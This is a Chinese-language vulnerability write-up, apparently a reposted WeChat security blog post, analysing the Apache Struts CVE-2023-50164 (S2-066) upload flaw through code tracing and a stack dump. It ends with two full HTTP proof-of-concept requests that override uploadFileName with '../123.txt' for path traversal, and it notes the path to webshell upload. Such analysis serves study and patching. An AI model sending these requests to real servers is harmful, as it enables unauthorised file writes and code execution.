漏洞简介
Apache Struts 是一个开源的、用于构建企业级Java Web应用的MVC框架。2023年12月,官方披露 CVE-2023-50164 Apache Struts 文件上传漏洞。
攻击者可以通过污染相关上传参数导致目录穿越,若在具体代码环境中允许上传危险后缀文件(例如 jsp文件),则攻击者可能结合该目录穿越漏洞上传webshell 至可解析目录,执行任意代码。
前两天后台就有同学经常询问这个漏洞,该漏洞团队前两天就已经收录但是感觉利用限制多,网上很多师傅已经说过这个漏洞的原理了,今天正好有时间就跟一遍这个漏洞。
复现过程
接下来我们开始尝试通过修改filename跨路径测试一下,结果上传失败。
(2)通过修改upload的filename进行目录穿越。可以看到并没有成功穿越。
(3)通过利用upload和uploadFileName两个参数进行上传,结果无法跨越只能上传upload。
复现结论:漏洞通过首字母大小写切换可以进行变量覆盖,通过覆盖 filename中的uploadFileName变量从而进行路径穿越,最终达到跨目录上传的效果。
例如上面成功复现的包一样,Upload首字母大写,uploadFileName小写。最后覆盖掉Upload中的uploadFileName从而成功跨目录上传文件。
代码分析
通过我们上面的复现漏洞的实验可以梳理处理几个问题。
(1)为什么filename参数不可以直接进行穿越?
(2)为什么upload可以覆盖Upload?
(3)为什么通过uploadFileName覆盖变量后就可以进行目录穿越?
接下来我们就开始对其进行分析,过滤链走到了intercept方法,向下进行调试,最后在标记的位置分别获取请求包中的表单、表单名、文件类型、文件名等
。
首先我们先来看一下他的文件名是怎么进行获取的,我们跟进getFileNames方法,最后跳到JakartaMultiPartRequest.类中。
我们可以看到这个文件名进行了getCanonicalName方法,跟进查看一下。这里直接直接过滤了“/“ ”“这种跨目录,所以我们想直接修改filename参数无法进行穿越,也就解决了问题一-为什么filename参数不可以直接进行穿越?
跳到HttpParameters. appendAll方法,将newParams赋给this.parameters,然后返回this,这里的this.parameters是HashMap。
到这里我们知道FileUploadInterceptor 中获取的参数都存储在 HttpParameters 类型的对象中了,上传文件参数都在HttpParameters.parameters里面。分析到这里我们并没有发现存在变量覆盖,所以变量覆盖的操作可能在FileUploadInterceptor之后,所以我们开始查看实际的Action执行的位置。
刚才说到FileUploadInterceptor将获取的参数都存储在 HttpParameters 类型的对象中,也就是上面提到的 upload、uploadContentType 和 uploadFileName,而开发者就是通过在Action中定义相关的 setter 方法获取这些参数的内容的。
通过栈内容发现是通过反射调用,并且在栈中发现使用了ParametersInterceptor过滤器,而如果package使用了ParameterIntercepter这个拦截器,OgnlValueStack会自动为Action中有set方法的属性赋值(如果用了modeldriven,同样也会为实体中有set方法的属性赋值),赋值时,OGNL会将此时值栈中的action当做当前节点(默认情况下在请求进入action之前,该action也会被放入值栈),然后访问它的成员属性的set方法。而在这里我们发现ParametersInterceptor.setParameters方法在进行参数绑定的过程中对HttpParameters parameters进行了一系列操作,我们跟进查看一下。
接下来声明一个TreeMap。利用params制作一个迭代器var6,开始进行循环赋值。
继续向下跟进,这里将会对var20存储的数据按照存储结构进行对应的set方法调用,所以我们依旧继续向下。
节省时间不继续向下了,直接给出栈了,有兴趣的自己跟一下吧。
setUpload:24, UploadAction (com.struts2)
invoke:-1, GeneratedMethodAccessor24 (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invokeMethodInsideSandbox:1245, OgnlRuntime (ognl)
invokeMethod:1230, OgnlRuntime (ognl)
callAppropriateMethod:1958, OgnlRuntime (ognl)
setMethodValue:2196, OgnlRuntime (ognl)
setPossibleProperty:98, ObjectPropertyAccessor (ognl)
setProperty:175, ObjectPropertyAccessor (ognl)
setProperty:42, ObjectAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:3359, OgnlRuntime (ognl)
setProperty:84, CompoundRootAccessor (com.opensymphony.xwork2.ognl.accessor)
setProperty:3359, OgnlRuntime (ognl)
setValueBody:134, ASTProperty (ognl)
evaluateSetValueBody:220, SimpleNode (ognl)
setValue:308, SimpleNode (ognl)
setValue:829, Ognl (ognl)
lambda$setValue$2:550, OgnlUtil (com.opensymphony.xwork2.ognl)
execute:-1, 1385670583 (com.opensymphony.xwork2.ognl.OgnlUtil$$Lambda$57)
compileAndExecute:625, OgnlUtil (com.opensymphony.xwork2.ognl)
setValue:543, OgnlUtil (com.opensymphony.xwork2.ognl)
trySetValue:195, OgnlValueStack (com.opensymphony.xwork2.ognl)
setValue:182, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameter:166, OgnlValueStack (com.opensymphony.xwork2.ognl)
setParameters:228, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
doIntercept:144, ParametersInterceptor (com.opensymphony.xwork2.interceptor)
最终触发setUpload方法。
从acceptableParameters的赋值以及set方法的调用中,变量覆盖也就在此过程中触发了。
这里我们将Upload和upload同时进行请求进行调试一下。
可以看到TreeMap的存储顺序是大写开头在前,小写开头在后,所以upload在后执行,也就覆盖了Upload的上传内容。
最后的上传结果如下图所示,这也就解释了问题二-为什么upload可以覆盖Upload?
最后的问题三-为什么通过uploadFileName覆盖变量后就可以进行目录穿越?首先我们知道FileUploadInterceptor过滤链的JakartaMultiPartRequest.getCanonicalName会对传入的uploadFileName进行过滤。
但是如果我们将uploadFileName设置为一个非文件参数,这样参数内容也不会经过 FileUploadInterceptor过滤链了,也就更不会经过JakartaMultiPartRequest.getCanonicalName进行过滤了。再通过uploadFileName的首字母小写优先级小于Upload的优先级,也就出现了变量覆盖,所以现在公开的poc才是如下两种。
漏洞POC-1
POST /struts2_066_war_exploded/upload.action HTTP/1.1
Host: 172.20.10.4:8082
Content-Length: 293
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.20.10.4:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhraU57lkZHpBtit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.20.10.4:8082/struts2_066_war_exploded/upload.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1D049D6F711E436B2B0A9DE3139613D9
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
------WebKitFormBoundaryrhraU57lkZHpBtit
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
123
------WebKitFormBoundaryrhraU57lkZHpBtit
Content-Disposition: form-data; name="uploadFileName"
../123.txt
------WebKitFormBoundaryrhraU57lkZHpBtit—
漏洞POC-2
POST /struts2_066_war_exploded/upload.action?uploadFileName=../123.txt HTTP/1.1
Host: 172.20.10.4:8082
Content-Length: 182
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://172.20.10.4:8082
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrhraU57lkZHpBtit
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://172.20.10.4:8082/struts2_066_war_exploded/upload.action
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=1D049D6F711E436B2B0A9DE3139613D9
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close
------WebKitFormBoundaryrhraU57lkZHpBtit
Content-Disposition: form-data; name="Upload"; filename="1.txt"
Content-Type: text/plain
123
------WebKitFormBoundaryrhraU57lkZHpBtit--
参考文章:
https:
//trganda
.github.io/notes/security/vulnerabilities/apache-struts/Apache-Struts-Remote-Code-Execution-Vulnerability-(-S2-
066
-CVE-
2023
-
50164
)
#%E5%8F%82%E6%95%B0%E6%B1%A1%E6%9F%93
https:
//y
4tacker.github.io/
2023
/
12
/09/year/
2023
/
12
/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-
066
/
原文始发于微信公众号(嗨嗨安全):【漏洞分析】Apache Struts2 文件上传漏洞(CVE-2023-50164/S2-066)-保姆版
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论